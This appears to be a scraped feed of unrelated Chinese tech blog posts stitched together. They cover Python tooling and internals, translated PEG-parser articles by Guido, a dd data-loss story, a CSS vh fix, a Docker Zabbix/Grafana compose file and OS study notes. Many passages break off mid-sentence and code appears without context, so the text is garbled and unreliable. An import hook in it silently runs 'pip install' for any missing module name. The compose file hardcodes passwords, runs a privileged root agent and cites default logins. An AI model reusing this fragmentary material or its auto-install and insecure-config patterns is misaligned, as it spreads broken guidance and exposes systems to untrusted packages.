$allowedtags['h1'] = array('class'=>array());
$allowedtags['h2'] = array('class'=>array());
$allowedtags['h3'] = array('class'=>array());
$allowedtags['h4'] = array('class'=>array());
$allowedtags['h5'] = array('class'=>array());
$allowedtags['ul'] = array('class'=>array());
$allowedtags['ol'] = array('class'=>array());
$allowedtags['li'] = array('class'=>array());
$allowedtags['td'] = array('class'=>array());
$allowedtags['th'] = array('class'=>array());
$allowedtags['tr'] = array('class'=>array());
$allowedtags['table'] = array('class'=>array());
$allowedtags['thead'] = array('class'=>array());
$allowedtags['tbody'] = array('class'=>array());
$allowedtags['span'] = array('class'=>array());
}
add_action('pre_comment_on_post', 'allow_more_tag_in_comment');
为了更加安全,可以更进一步
...
$allowedtags['pre'] = array(
'class' => true,
'id' => true,
);
$allowedtags['code'] = array(
'class' => true,
);
...
或者采用我的方法,直接禁止HTML代码
大功告成啦,这次修改又学到了好多东西,后续我可能会把前端的评论给改了,加个编辑器
最近发现 MacOS 发布了 catalina,把自己的 14 款 MacBook Air 升到了最新的 10.15.1, 为此还清理了一下硬盘,升级的空间已经不够了。
升级后,看起来一切安好,却不知道有一个严重问题,只是平常在家里用的时候没有发现。
这个问题是这样子的,盖下显示屏电脑休眠后,在很短的时间内,重新抬起显示屏,电脑会不能点亮, 过几分钟会弹出一个多语言的对话框,提示电脑发生错误,需要重启。
之前在家里之所以没有发现,是因为没有频繁盖下抬起显示屏的情况,而在公司就不一样了,从工位盖下, 到了会议室抬起,发现点不亮,懵了。
打了苹果支持电话后,对电脑施展了魔法:
执行上面的步骤后,果然就没有问题了,而且感觉整个老电脑都换发了第二春。
到底是什么魔法?我也不敢问,也不敢说。
python [-bBdEhiIOqsSuvVWx?] [-c command | -m module-name | script | - ] [args]
-m mod run library module as a script (terminates option list)
python -m http.server 8000
# 注:在 Python2 中是这样
python -m SimpleHTTPServer 8000
sys.path
,查找名字为“name”的模块或者包(含命名空间包),并将其内容当成“__main__”模块来执行。__name__
都是”__main__“,跟 import 导入方式是不同的。sys.path
时可以找到同名的“test”模块,并且执行:pkgutil
和 runpy
,前者用来获取所有的模块列表,后者根据模块名来定位并执行脚本结合了 PEP-302 的新探针机制(new import hooks),提升了解释器查找包内模块的能力
结合了其它的导入机制(例如zipimport
和冻结模块(frozen modules)),拓展了解释器查找模块的范围与精度
开发了新的runpy.run_module(modulename)
来实现本功能,而不用修改 CPython 解释器,如此可方便移植到其它解释器
pip freeze > requirements.txt
Usage:
pipreqs [options] <path>
Options:
--use-local Use ONLY local package info instead of querying PyPI
--pypi-server <url> Use custom PyPi server
--proxy <url> Use Proxy, parameter will be passed to requests library. You can also just set the
environments parameter in your terminal:
$ export HTTP_PROXY="http://10.10.1.10:3128"
$ export HTTPS_PROXY="https://10.10.1.10:1080"
--debug Print debug information
--ignore <dirs>... Ignore extra directories
--encoding <charset> Use encoding parameter for file open
--savepath <file> Save the list of requirements in the given file
--print Output the list of requirements in the standard output
--force Overwrite existing requirements.txt
--diff <file> Compare modules in requirements.txt to project imports.
--clean <file> Clean up requirements.txt by removing modules that are not imported in project.
UnicodeDecodeError: 'gbk' codec can't decode byte 0xae in
。需要指定编码格式“—encoding=utf8”。bs4
模块来自beautifulsoup4
库,MySQLdb
则来自于MySQL_Python
库。可以通过“-s”参数,查找真实的依赖库。$ pigar -s bs4 MySQLdb
concurrent.futures
是 Python 3.2+ 的标准库,而在之前早期版本中,需要安装三方库futures
,才能使用它。pigar 做到了有效地识别区分。(PS:pipreqs 也支持这个识别,详见这个合入:https://github.com/bndr/pipreqs/pull/80)$ pip-compile
#
# This file is autogenerated by pip-compile
# To update, run:
#
# pip-compile --output-file requirements.txt setup.py
#
click==6.7 # via flask
flask==0.12.2
itsdangerous==0.24 # via flask
jinja2==2.9.6 # via flask
markupsafe==1.0 # via jinja2
werkzeug==0.12.2 # via flask
$ pip-sync dev-requirements.txt requirements.txt
ImportError: No module named 'xxx'
或者 ModuleNotFoundError: No module named 'xxx'
。try:
import requests
except ImportError:
import os
os.system('pip install requests')
import requests
try:
import simplejson as json
except ImportError:
import json
try:
import simplejson as json
except ImportError:
import my_json as json
pip freeze > requirements.txt
生成的。pip install -r requirements.txt
(在该文件所在目录执行,或在命令中写全文件的路径),就能自动把所有的依赖库给装上。# 以下代码在 python 3.6.1 版本验证通过
import sys
import os
from importlib import import_module
class AutoInstall():
_loaded = set()
@classmethod
def find_spec(cls, name, path, target=None):
if path is None and name not in cls._loaded:
cls._loaded.add(name)
print("Installing", name)
try:
result = os.system('pip install {}'.format(name))
if result == 0:
return import_module(name)
except Exception as e:
print("Failed", e)
return None
sys.meta_path.append(AutoInstall)
sys.meta_path
,我们先打印一下,看看它是个什么东西?ImportError
异常find_spec
方法,而早期的版本用的则是find_module
。import hook
,是 Python 几乎不受人关注的机制,但它可以做很多事,例如加载网络上的库、在导入模块时对模块进行修改、自动安装缺失库、上传审计信息、延迟加载等等。Python 3000 不会区分大小写。
Python 3000 不会从头开始重写。
不会使用 C++ 或其它不同于 C 的语言作为实现语言。但是,代码库将逐渐迁移。Joel Spolsky 有一篇出色的文章解释了原因:http://www.joelonsoftware.com/articles/fog0000000069.html
使用显式的 self 是一个好事。消除解析变量时的歧义,可以使得代码更清晰。这还使得函数和方法之间的差异变小。
邮件:“提议草案:Python 3.0 使用隐式的 self” https://mail.python.org/pipermail/python-dev/2006-January/059468.html
曾经有过提议,在 Python 3000 中移除 lambda。然而,没人能够提出更好的提供匿名函数的方法。所以 lambda 保留了下来。
但只是说要保持原样。(有人提议)增加它对语句的支持,但这不是一个好想法。因为它需要允许多行 lambda 表达式,这意味着多行表达式可能突然出现,例如,将会允许对函数调用使用多行参数。那真是丑陋。
邮件:“genexp 语法/lambda”,https://mail.python.org/pipermail/python-3000/2006-April/001042.html
邮件:“是一个声明!是一个函数!两者皆是!” https://mail.python.org/pipermail/python-3000/2006-April/000286.html
邮件:“并行迭代语法”,https://mail.python.org/pipermail/python-3000/2006-March/000210.html
邮件:“使字符串不可迭代”,https://mail.python.org/pipermail/python-3000/2006-April/000759.html
邮件:“为生成器表达式添加排序”,https://mail.python.org/pipermail/python-3000/2006-April/001295.html
邮件:切片的未来https://mail.python.org/pipermail/python-3000/2006-May/001563.html
邮件:消除迭代变量的作用域出血(scope bleeding)https://mail.python.org/pipermail/python-dev/2006-May/064761.html
简单胜于复杂。这个想法适用于解析器。将 Python 的语法限制为 LL(1) 解析器是一种好处,而不是诅咒。它使我们带上手铐,不至于发展过度,不至于最终得到些时髦的语法规则,像一些走向无名的动态语言那样,例如 Perl。
这太明显了,以至于不需要引用邮件列表。使用
from __future__ import braces
,你就会得到关于这个问题的明确答案。
反引号(`)将不再用作 repr 的简写——但这并不意味着它们可用于其它用途。即使忽略向后兼容性的混乱,这字符本身也会引起太多问题(在某些字体、某些键盘上、在排版书籍时,等等)。
邮件:“使用反引号作为新运算符”,https://mail.python.org/pipermail/python-ideas/2007-January/000054.html
邮件:“用全局内置对象替换 globals() 和 global 语句”,https://mail.python.org/pipermail/python-3000/2006-July/002485.html ,“显式词法作用域(pre-PEP?) ”,https://mail.python.org/pipermail/python-dev/2006-July/067111.html
邮件:“显式词法作用域(pre-PEP?)”,https://mail.python.org/pipermail/python-dev/2006-July/066995.html
邮件:“去除容器字面量”,https://mail.python.org/pipermail/python-3000/2006-July/002550.html:
邮件:“ for/except/else 语法” https://mail.python.org/pipermail/python-ideas/2009-October/006083.html
邮件:“对于不同长度的序列,令 zip() 引发异常”,https://mail.python.org/pipermail/python-3000/2006-August/003338.html
邮件:“哈希作为属性/特性”,https://mail.python.org/pipermail/python-3000/2006-April/000362.html
邮件:“遍历字典”,https://mail.python.org/pipermail/python-3000/2006-April/000283.html
邮件:让 iter(mapping) 生成 (key, value) 对https://mail.python.org/pipermail/python-3000/2006-June/002368.html
frozenlist
类型。邮件:“不可变的列表”,https://mail.python.org/pipermail/python-3000/2006-May/002219.html
邮件:“ xrange vs.int .__ getslice__”,https://mail.python.org/pipermail/python-3000/2006-June/002450.html
邮件:“ C 风格指南”,https://mail.python.org/pipermail/python-3000/2006-March/000131.html
邮件:“低垂的果实:更改解释器的提示?”,https://mail.python.org/pipermail/python-3000/2006-November/004891.html
一直以来我都觉得dd
很方便,之前看到网友戏称 dd=disk destroyer 还觉得我怎么可能会出错,对之不屑一顾,没想到这次却因为我小小的输入失误损失了如此多的数据。前天下午,在烧录树莓派镜像时错把备份镜像烧进了移动硬盘,虽然我及时终止了dd
操作,但还是损坏了我的分区表,在此操作前我还特意用了fdisk -l
查看磁盘号,可惜输入错误。我移动硬盘只有一个大小为4TB的NTFS分区,经过两天的各种尝试(包括TestDisk和DiskGenious),没能恢复分区表。万般无奈下只能在Windows下尝试使用恢复软件进行恢复,直至目前还在扫描中......这块希捷STDR4000301移动硬盘陪伴了我几年了,里面存了不少东西,我还往里面放了一个大小为1T的VeraCrypt的虚拟磁盘文件,用于加密我的一些重要数据,没想到这次却。。
目前还不能保证能恢复多少数据,但损失是不可避免的,罢了,也算是一次教训吧,之后的dd
相关操作我都将使用/dev/disk/by-id
的方式,避免出错,写下这篇文章提醒我自己,也提醒我的访客们,涉及到数据的操作一定得谨慎谨慎再谨慎!!!切记!切记!特别是像dd
命令这样的高风险操作!!
class C:
def meth(self, arg):
self.val = arg
return self.val
class C:
def meth(arg): # Look ma, no self!
self.val = arg
return self.val
Traceback (most recent call last):
File "classes.py", line 9, in
obj.m2(1)
TypeError: m2() takes exactly 3 arguments (2 given)
foo.meth(arg) == C.meth(foo, arg)
# Define an empty class:
class C:
pass
# Define a global function:
def meth(myself, arg):
myself.val = arg
return myself.val
# Poke the method into the class:
C.meth = meth
def foo(self, arg): ...
def self.foo(arg): ...
@classmethod
def cls.foo(arg): ...
GrammarParser
继承自Parser
,它使用相同的 mark()/reset()/expect() 机制。然而,它是手写的。但是,只能是手写么?start: rules ENDMARKER
rules: rule rules | rule
rule: NAME ":" alts NEWLINE
alts: alt "|" alts | alt
alt: items
items: item items | item
item: NAME | STRING
item: NAME { name.string } | STRING { string.string }
items: item items { [item] + items } | item { [item] }
alt: items { Alt(items) }
@subheader "from grammar import Rule, Alt"
subheader
变量的值。如果需要多个 import,可以在变量声明中使用三引号字符串,例如:@subheader """
from token import OP
from grammar import Rule, Alt
"""
start: metas rules ENDMARKER | rules ENDMARKER
metas: meta metas | meta
meta: "@" NAME STRING NEWLINE
metas
和 rules
。我们可以放入如下的动作:start: metas rules ENDMARKER { Grammar(rules, metas) }
| rules ENDMARKER { Grammar(rules, []) }
metas: meta metas { [meta] + metas }
| meta { [meta] }
meta: "@" NAME STRING { (name.string, eval(string.string)) }
alt: items action { Alt(items, action) }
| items { Alt(items, None) }
action: "{" stuffs "}" { stuffs }
stuffs: stuff stuffs { stuff + " " + stuffs }
| stuff { stuff }
stuff: "{" stuffs "}" { "{" + stuffs + "}" }
| NAME { name.string }
| NUMBER { number.string }
| STRING { string.string }
| OP { None if op.string in ("{", "}") else op.string }
@subheader """
from grammar import Grammar, Rule, Alt
from token import OP
"""
start: metas rules ENDMARKER { Grammar(rules, metas) }
| rules ENDMARKER { Grammar(rules, []) }
metas: meta metas { [meta] + metas }
| meta { [meta] }
meta: "@" NAME STRING NEWLINE { (name.string, eval(string.string)) }
rules: rule rules { [rule] + rules }
| rule { [rule] }
rule: NAME ":" alts NEWLINE { Rule(name.string, alts) }
alts: alt "|" alts { [alt] + alts }
| alt { [alt] }
alt: items action { Alt(items, action) }
| items { Alt(items, None) }
items: item items { [item] + items }
| item { [item] }
item: NAME { name.string }
| STRING { string.string }
action: "{" stuffs "}" { stuffs }
stuffs: stuff stuffs { stuff + " " + stuffs }
| stuff { stuff }
stuff: "{" stuffs "}" { "{" + stuffs + "}" }
| NAME { name.string }
| NUMBER { number.string }
| STRING { string.string }
| OP { None if op.string in ("{", "}") else op.string }
def peek_token(self):
if self.pos == len(self.tokens):
while True:
token = next(self.tokengen)
if token.type in (NL, COMMENT):
continue
break
self.tokens.append(token)
self.report()
return self.tokens[self.pos]
start: metas rules ENDMARKER { Grammar(rules, metas) }
| rules ENDMARKER { Grammar(rules, []) }
$ python -m tokenize
foo bar
baz
dah
dum
^D
NAME 'foo'
NAME 'bar'
NEWLINE
INDENT
NAME 'baz'
NEWLINE
NAME 'dah'
NEWLINE
DEDENT
NAME 'dum'
NEWLINE
rule: NAME ":" alts NEWLINE INDENT more_alts DEDENT {
Rule(name.string, alts + more_alts) }
| NAME ":" alts NEWLINE { Rule(name.string, alts) }
| NAME ":" NEWLINE INDENT more_alts DEDENT {
Rule(name.string, more_alts) }
more_alts: "|" alts NEWLINE more_alts { alts + more_alts }
| "|" alts NEWLINE { alts }
start:
| metas rules ENDMARKER { Grammar(rules, metas) }
| rules ENDMARKER { Grammar(rules, []) }
PyCoder's Weekly
上分享了一篇小文章,它里面提到的冷知识很有意思,我稍作补充,分享给大家。>>> a = (float('nan'),)
>>> b = a
>>> a # (nan,)
>>> b # (nan,)
>>> type(a), type(b)
(<type 'tuple'>, <type 'tuple'>)
>>> a == b
True
>>> a is b # 即 id(a) == id(b)
True
>>> a[0] == b[0]
False
sign ::= "+" | "-"
infinity ::= "Infinity" | "inf"
nan ::= "nan"
numeric_value ::= floatnumber | infinity | nan
numeric_string ::= [sign] numeric_value
>>> a = (float('inf'),)
>>> b = a
>>> a # (inf,)
>>> b # (inf,)
>>> a == b # True
>>> a is b # True
>>> a[0] == b[0] # True
>>> a = float('inf')
>>> b = float('inf')
>>> c = float('nan')
>>> d = float('nan')
>>> a == b # True
>>> c == d # False
>>> hash(float('nan')) == hash(float('nan'))
True
>>> hash(float('inf')) # 314159
>>> hash(float('-inf')) # -314159
>>> a = {float('nan'): 1, float('nan'): 2}
>>> a
{nan: 1, nan: 2}
# 作为对比:
>>> b = {float('inf'): 1, float('inf'): 2}
>>> b
{inf: 2}
在做一个响应式布局时用 vh 单位定义了元素的高度,结果在发现在移动端的 Chrome 和 Firefox 浏览器中,浏览器 URL 栏显示的情况下元素都出现了错位。
查找到原因是移动端下浏览器对 100vh
的定义不考虑 URL 栏的高度(无论 URL 栏显示还是隐藏),可以用下面这张图直观地体现问题:
左侧是我们期望的 100vh
“全屏”的高度,但右侧是 URL 栏显示的状态下“全屏”的高度,100vh
在这时已经超出了“全屏”高度。
对此,Google 官方有说明,bugzilla 有相关报告,但是对于我们解决问题没有任何帮助。
目前找到最好的解决方案是项目:
[github repo="Hiswe/vh-check"]
JS 执行过一次初始化 vhCheck()
后,就可以直接用 CSS 变量 --vh-offset
修正 100vh
了。
用法:
npm install vh-check
import vhCheck from 'vh-check'
vhCheck()
main {
height: 100vh;
/* 兼容不支持 var 变量的浏览器 (<= IE11) */
height: calc(100vh - var(--vh-offset, 0px));
/* 修正后的 100vh */
}
The post 解决移动端浏览器 vh 单位异常问题 appeared first on 樱花庄的白猫.
# 共用内存地址的例子
a = 100
b = 100
s = "python_cat"
t = "python_cat"
id(a) == id(b) # 结果:True
id(s) == id(t) # 结果:True
# 空对象的差别
a = []
b = []
c = ()
d = ()
print(id(a)==id(b)) # 结果:False
print(id(c)==id(d)) # 结果:True
# 实验版本:Python 3.6.1
a = [[] for i in range(4)]
print(id(a))
for i in range(len(a)):
print(f'{i} -- {id(a[i])}')
# a[i] = 1 # PS:可去除注释,再执行一次,结果的顺序有差别
del a
print("after del")
b = [[] for i in range(4)]
print(id(b))
for i in range(len(b)):
print(f'{i} -- {id(b[i])}')
2012909395656
0 -- 2012909395272
1 -- 2012909406472
2 -- 2012909395208
3 -- 2012909395144
after del
2012909395656
0 -- 2012909395272
1 -- 2012909406472
2 -- 2012909395208
3 -- 2012909395144
free_list
的全局变量,其工作原理是:文件的逻辑组织是为了方便用户使用。一般文件的逻辑结构可以分为两种:无接口的字符流文件和有建构的记录文件。记录文件由记录组成,即文件内的信息划分成多个记录,以记录为单位组织和使用信息。
记录文件分顺序文件、索引顺序文件、索引文件和直接文件
1、顺序文件。大多数文件是顺序文件。顺序文件的记录定长,记录中的数据项的类型长度和次序固定,一般还有一个可以唯一标识记录的数据项,成为键(key),记录是按键值的约定次序组织的。顺序文件常用于批处理应用,对于查询或更新某个记录的处理性能不太好。
2、直接文件。直接文件又称哈希(Hash)文件。记录以它们在直接访问存储设备上的物理地址直接(随机的)访问。直接文件常用于需要高速访问文件而且每次仅访问一条记录的应用中。
文件的物理结构是指文件在存储设备上的存放方法。文件的物理结构侧重于提高存储器的利用效率和降低存取时间。文件的存储设备通常划分为大小相同的物理块,物理块是分配和传输信息的基本单位。文件的结构涉及文件存储设备的组块策略和文件分配策略,决定文件信息在存储设备上的存储位置。常用的文件分配策略有:
1、顺序分配(连续分配)。
2、链接分配(串联分配)
3、索引分配。这是另一种对文件存储不连续的分配方法,采用索引分配方法的系统,为每一个文件建立一张索引表,索引表中每一表项指出文件信息所在的逻辑块和与之对应的物理块号。
位示图法。该方法是在外存上建立一张位示图(Bitmap),记录文件存储器的使用情况。每一位仅对应存储器上的一个物理块,取值0和1分别对应空闲和占用。文件存储器上的物理块依次编号为:0、1、2、3.....。加入系统中字长为32位,有4096个物理块,那么在位示图中的第1个字对应文件存储器上的0-31号物理块,第2个字对应文件存储器上的32-63号物理块,第128字对应存储器上的4064-4095号物理块。这样的位示图的大小为32字。
分为无条件查询和程序查询方式。
1、无条件传送方式,I/O端口总是准备好接受主机的输出数据,或是总是准备好向主机输入数据,而CPU在需要时,随时直接利用I/O指令访问响应的I/O端口,实现与外设的数据交换。优点是软、硬件结构简单,缺点是对时序要求高,只适用于简单的I/O控制。
2、程序查询方式,也称程序轮询方式,该方式采用用户程序直接控制主机与外部设备之间输入/输出操作。CPU必须不停地循环测试I/O设备的状态端口,当发现设备处于准备好(Ready)状态时,CPU就可以与I/O设备进行数据存取操作。这种方式下的CPU与I/O设备是串行工作的。
当I/O设备结束(完成、特殊或异常)时,就会向CPU发出中断请求信号,CPU收到信号就可以采取相应措施。当某个进程要启动某个设备时,CPU就向相应的设备控制器发出一条设备I/O启动指令,然后CPU又返回做原来的工作。CPU与I/O设备可以并行工作,与程序查询方式相比,大大提高了CPU的利用率。
DMA方式也称为直接主存存取方式,其思想是:允许主存储器和I/O设备之间通过“DMA控制器(DMAC)”直接进行批量数据交换,除了再数据传输开始和结束时,整个过程无须CPU的干预。
在一定的硬件基础上利用软件手段实现对I/O的控制和传送,更多的免去了CPU的介入,使主机和外设并行工作程度更高。
指专门负责输入/输出的处理机。可以有独立的存储器、运算部件和指令控制部件。
rule: item item item { action 1 } | item item { action 2 }
rule: item item item { action 1 }
| item item { action 2}
$
符号来引用已识别的备选项(例如,$1
引用第一个条目),并赋值给 $$
以指示动作的结果。start: expr NEWLINE { expr }
expr: expr '+' term { expr + term }
| expr '-' term { expr - term }
| term { term }
term: NUMBER { float(number.string) }
100+50-38-70
,它会识别出各部分并计算答案,计算成((100+50)-38)-70
,当然得出结果为 42。term
的动作中,变量number
保存了一个TokenInfo
对象,因此该动作必须使用其.string
属性来获取字符串形式的标识符。factor: atom '**' atom { atom ** atom1 }
| atom { atom }
python3.8 -m story5.driver story5/calc.txt -g story5.calc.CalcParser
逻辑地址:CPU所生成的地址。逻辑地址是内部和编程使用的、并不唯一。例如,你再进行C语言指针编程中,可以读取指针变量本身值(&操作),实际上这个值就是逻辑地址,塔是相对于你当前进程数据的地址(偏移地址),不和绝对武力地址想干。
物理地址:加载到内存地址寄存器中的地址,内存单元的真正地址。
静态重定位:是在程序执行之前进行重定位,它根据装配模块将要装入的内存起始位置,直接修改装配模块中的有关使用地址的指令。
静态重定位的优缺点:静态重定位有着无需硬件支持的优点,但存在着如下的缺点:一是程序重定位之后就不能在内存中搬动了,二是要求程序的存储空间是连续的,不能把程序放在若干个不连续的区域内。
动态重定位:是指不是在程序执行之前而是在程序执行过程中进行地址重定位,更确切的说实在CPU每次访问内存单元前才进行地址变换。
动态重定位的优缺点:优点是1、程序占用的内存空间动态可变,不必连续存放在一处。2、比较容易实现几个进程对同一程序副本的共享使用。缺点是需要附加的硬件支持,增加了机器成本,而且实现存储管理的软件算法比较复杂。现在一般计算机系统中都采用动态重定位方法。
固定分区:静态分区,作业装入之前划分,大小固定,内存利用率不高。
可变分区:动态分区,碎片多。首次适应算法、最佳适应算法、最坏适应算法。
可重定位分区:合并零散空间
两年前在服务器上放了一套 Grafana + Zabbix + Prometheus 的监控系统,当时是照着文档和网上各路教程一个一个编译的,插件和配置文件丢得七零八落,很难维护,故这几天借迁移服务器的机会,改用 Docker 安装,基本只用一个配置文件,今后随时可以一键部署。目前写好了 MySQL + Grafana + Zabbix-Server + Zabbix-Agent 的配置,Prometheus(以前主要用来监控 MySQL)暂时还没做,以后补上。
照文档安装即可,不再赘述。
version: '1.0'
services:
# zabbix-server 容器配置
server:
image: zabbix/zabbix-server-mysql:latest
container_name: zabbix-server
depends_on:
- mysql
- agent
environment:
TZ: Asia/Shanghai
DB_SERVER_HOST: "mysql"
MYSQL_DATABASE: "zabbix"
MYSQL_USER: "zabbix"
MYSQL_PASSWORD: "zabbix_pwd"
MYSQL_ROOT_PASSWORD: "root_pwd"
ports:
- "10051:10051"
volumes:
- /etc/localtime:/etc/localtime:ro
links:
- mysql:zabbix-mysql
- agent:zabbix-agent
user: root
networks:
zabbixbr:
ipv4_address: 172.20.0.6
restart: always
# zabbix-agent 容器配置
agent:
image: zabbix/zabbix-agent:latest
container_name: zabbix-agent
privileged: true
ports:
- "10050:10050"
volumes:
- /etc/localtime:/etc/localtime:ro
user: root
networks:
zabbixbr:
ipv4_address: 172.20.0.5
restart: always
# zabbix web 环境容器配置
web:
image: zabbix/zabbix-web-nginx-mysql:latest
container_name: zabbix-web
depends_on:
- mysql
- server
environment:
TZ: Asia/Shanghai
DB_SERVER_HOST: "mysql"
ZBX_SERVER_HOST: "server"
MYSQL_DATABASE: "zabbix"
MYSQL_USER: "zabbix"
MYSQL_PASSWORD: "zabbix_pwd"
MYSQL_ROOT_PASSWORD: "root_pwd"
volumes:
- /etc/localtime:/etc/localtime:ro
links:
- mysql:zabbix-mysql
- server:zabbix-server
ports:
- "90:80"
user: root
networks:
zabbixbr:
ipv4_address: 172.20.0.4
restart: always
# mysql 容器配置
mysql:
image: mysql:5.7
container_name: zabbix-mysql
command: --character-set-server=utf8 --collation-server=utf8_general_ci
environment:
TZ: Asia/Shanghai
MYSQL_DATABASE: "zabbix"
MYSQL_USER: "zabbix"
MYSQL_PASSWORD: "zabbix_pwd"
MYSQL_ROOT_PASSWORD: "root_pwd"
networks:
zabbixbr:
ipv4_address: 172.20.0.3
volumes:
# 数据库 volume 路径:/home/data,根据自己需求调整
- /home/data/zabbix/database/mysql:/var/lib/mysql
- /etc/localtime:/etc/localtime:ro
restart: always
# Grafana 容器配置
grafana:
image: grafana/grafana:latest
container_name: zabbix-grafana
environment:
TZ: Asia/Shanghai
# 下面填写你想安装的插件,多项逗号分隔,当然也可以直接把插件上传到下面的 volume 中
GF_INSTALL_PLUGINS: alexanderzobnin-zabbix-app
# 挂载储存用的 volume,映射到宿主目录 /var/lib/docker/volumes 下
volumes:
# 插件和 Grafana 的用户配置数据放这里面
- grafana-storage:/var/lib/grafana
# grafana.ini 配置文件在里面
- grafana-etc:/etc/grafana
ports:
- "3000:3000"
networks:
zabbixbr:
ipv4_address: 172.20.0.2
restart: always
# 创建 stack 内用的容器
volumes:
grafana-storage:
grafana-etc:
# stack 内网配置
networks:
zabbixbr:
driver: bridge
ipam:
config:
- subnet: 172.20.0.0/16
# 内网网关
gateway: 172.20.0.1
把整套系统部署到一个 stack 中,所有组建间通信通过内网完成,注意容器内访问使用各自的内网 IP 172.20.0.x
,容器内使用 127.0.0.1
和 localhost
是无效的!
保存以上配置文件为 docker-compose.yml
。
现在先 pull 要用到的镜像:
docker pull mysql:5.7
docker pull zabbix/zabbix-server-mysql:latest
docker pull zabbix/zabbix-agent:latest
docker pull zabbix/zabbix-web-nginx-mysql:latest
docker pull grafana/grafana:latest
然后运行 docker compose:
docker-compose up -d
docker-compose ps
看到下面的输出就 OK 了!
之后访问 http://你的公网IP或者localhost:90/
配置 Zabbix,登陆 ID:Admin、密码:zabbix。
依次打开 Configuration > Hosts > Zabbix server,Agent interfaces 中 IP 改为 172.20.0.5
,Update 即可,返回 Hosts 列表,过几分钟刷新,看到 Zabbix server 的 Availability 标签 ZBX
变成绿色就说明 zabbix-server + zabbix-agent 部署成功了。
访问 http://你的公网IP或者localhost:3000/
,登陆 ID:admin、密码:admin。
启用 Zabbix,然后创建 Zabbix 数据源(data source),URL 填写 http://你的公网IP或者localhost:90/api_jsonrpc.php
,账号密码是刚刚的 Zabbix 账号密码,保存之后测试通过就说明 Grafana 已经连上 Zabbix 了,之后就可以 DIY 你的面板了!
The post Docker 部署 Zabbix + Grafana appeared first on 樱花庄的白猫.
sys.maxint()
查看(取决于平台是 32 位还是 64 位)2**100
,结果会在末尾加字母 L 表示它是长整数。这会给新的 Python 程序员(无论他们是否是编程新手)减少一项上手前要学的功课。
import numpy as np
a = np.arange(2)
type(a[0])
# 结果:numpy.int32
import numpy as np
q = [100000]
w = [500000]
# 一个溢出的例子:
a = np.array(q)
b = np.array(w)
print(a*b) # 产生溢出,结果是个奇怪的数值
# 一个解决的例子:
c = np.array(q, dtype='int64')
d = np.array(w, dtype='int64')
print(c*d) # 没有溢出:[50000000000]
# Guido 的解析器系列
https://github.com/chinesehuazhou/guido_blog_translation
# PEP 系列(加上别人翻译的,共有 16 篇)
https://github.com/chinesehuazhou/peps-cn
1、处理机管理
2、存储器管理
3、设备管理
4、文件管理
5、用户管理
1、单用户系统:一台处理机只支持一个用户程序
2、批处理系统:用户将一批作业提交给操作系统后就不再干预,有操作系统控制它们自动运行,人机不交互。
3、分时操作系统:把处理机的运行时间分成很短的时间片,按时间片轮流把处理机分配给各联机作业使用。
4、网络操作系统:一种在通常操作系统功能的基础上提供网络通信和网络服务功能的操作系统。
5、分布式操作系统:以计算机网络为基础的,将物理上分布的具有自治功能的数据处理系统或计算机系统互联起来的操作系统。
6、嵌入式操作系统:运行在嵌入式智能芯片环境中,对整个智能芯片以及它所操作、控制的各种部件装置等资源进行统一协调、处理、指挥和控制。
进行资源分配和调度的基本单位。进程通常游程序、数据集合、进程控制块PCB组成。
为了描述和控制进程的运行,系统为每个进程定义了一个数据结构——进程控制块(PCB)。它是进程重要的组成部分,它记录了操作系统所需的用于描述进程的当前状态和控制进程的全部信息。操作系统就是根据进程的PCB来感知进程的存在,并以此对进程进行管理和控制。PCB是进程存在的唯一标识。
P操作:
1、将信号量S的值减1,即S=S-1;
2、如果S>=0,则该进程继续执行;否则该进程置为等待状态。
V操作:
1、将信号量S的值加1,即S=S+1;
2、如果S<0该进程继续执行;否则说明有等待队列中有等待进程,需要唤醒等待进程。
expr: expr '+' term | term
def expr():
if expr() and expect('+') and term():
return True
if term():
return True
return False
expr()
以调用expr()
开始,后者也以调用expr()
开始,以此类推……这只能以堆栈溢出而结束,抛出异常RecursionError
。expr: term '+' expr | term
'-'
运算符时(因为a - (b - c)
与(a - b) - c
不一样)。expr: term ('+' term)*
'+'
和'-'
这样的运算符,基本上是二进制的(在 Python 中),当我们解析像a + b + c
这样的东西时,我们必须遍历解析的结果(基本上是列表[‘a’,’+’,‘b’,’+’,‘c’] ),以构造一个左递归的解析树(类似于 [[‘a’,’+’,‘b’] ,’+’,‘c’] )。foo + bar + baz
作为示例。我们想要解析出的解析树对应于(foo + bar)+ baz
。这需要对expr()
进行三次左递归调用:一次对应于顶级的“+” 运算符(即第二个); 一次对应于内部的“+”运算符(即第一个); 还有一次是选择第二个备选项(即term
)。expr------------+------+
| \ \
expr--+------+ '+' term
| \ \ |
expr '+' term |
| | |
term | |
| | |
'foo' 'bar' 'baz'
def expr():
if oracle() and expr() and expect('+') and term():
return True
if term():
return True
return False
sys._getframe()
来实现它,但有更好的方法:让我们反转调用的堆栈!expr()->term()->'foo'
。(它应该返回初始的term
的解析树,即'foo'
。上面的代码仅返回 True,但在本系列第二篇文章中,我已经演示了如何返回一个解析树。)很容易编写一个 oracle 来实现,它应该在首次调用时就返回 false——不需要检查堆栈或向前回看。expr()
,这时 oracle 会返回 true,但是我们不对 expr() 进行左递归调用,而是用前一次调用时保存的结果来替换。瞧呐,预期的'+'
运算符及随后的term
也出现了,所以我们将会得到foo + bar
。oracle_expr()
。代码:def expr():
if oracle_expr() and expect('+') and term():
return True
if term():
return True
return False
oracle_expr()
函数将读取该全局变量,而装饰器操纵着它:saved_result = None
def oracle_expr():
if saved_result is None:
return False
return saved_result
def expr_wrapper():
global saved_result
saved_result = None
parsed_length = 0
while True:
new_result = expr()
if not new_result:
break
new_parsed_length = <calculate size of new_result>
if new_parsed_length <= parsed_length:
break
saved_result = new_result
parsed_length = new_parsed_length
return saved_result
oracle_expr()
函数——我们可以生成对 expr() 的标准调用,无论它是否处于左递归的位置。def is_left_recursive(rule):
for alt in rule.alts:
if alt[0] == rule.name:
return True
return False
def memoize(func):
def memoize_wrapper(self, *args):
pos = self.mark()
memo = self.memos.get(pos)
if memo is None:
memo = self.memos[pos] = {}
key = (func, args)
if key in memo:
res, endpos = memo[key]
self.reset(endpos)
else:
res = func(self, *args)
endpos = self.mark()
memo[key] = res, endpos
return res
return memoize_wrapper
memo
字典。memoize_wrapper 函数的前四行与获取正确的memo
字典有关。 def memoize_left_rec(func):
def memoize_left_rec_wrapper(self, *args):
pos = self.mark()
memo = self.memos.get(pos)
if memo is None:
memo = self.memos[pos] = {}
key = (func, args)
if key in memo:
res, endpos = memo[key]
self.reset(endpos)
else:
# Prime the cache with a failure.
memo[key] = lastres, lastpos = None, pos
# Loop until no longer parse is obtained.
while True:
self.reset(pos)
res = func(self, *args)
endpos = self.mark()
